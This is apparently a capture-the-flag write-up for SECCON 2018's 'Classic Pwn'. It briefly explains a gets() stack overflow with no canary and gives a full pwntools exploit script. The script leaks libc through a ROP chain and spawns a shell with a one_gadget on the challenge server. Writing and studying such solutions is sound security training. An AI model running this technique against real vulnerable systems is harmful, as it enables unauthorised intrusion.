Rating:

## Classic Pwn (Pwn)

### Solution
The program use `gets()` to read input into a stack buffer, there's no canary, so we can easily use ROP to leak libc and spawn a shell.

```python
#!/usr/bin/env python3

from pwn import *
context(arch="amd64", terminal=["tmux", "neww"])

b = ELF("./classic")
libc = ELF("./libc-2.23.so")
rop = ROP(b)

one_gadget = 0x45216

payload = b"a" * 72
payload += p64(rop.rdi.address) # puts@plt(puts@got)
payload += p64(b.got[b'puts'])
payload += p64(b.plt[b'puts'])
payload += p64(b.symbols[b'main'])

#r = process("./classic")
r = remote("classic.pwn.seccon.jp", 17354)
r.sendline(payload)
r.recvuntil("!!\n")
puts = u64(r.recv(6).ljust(8, b"\x00"))

payload = b"a" * 72
payload += p64(puts - libc.symbols[b'puts'] + one_gadget)
r.sendline(payload)

r.interactive()
```

Original writeup (https://github.com/jaidTw/ctf-writeups/blob/master/seccon-2018/classic.md).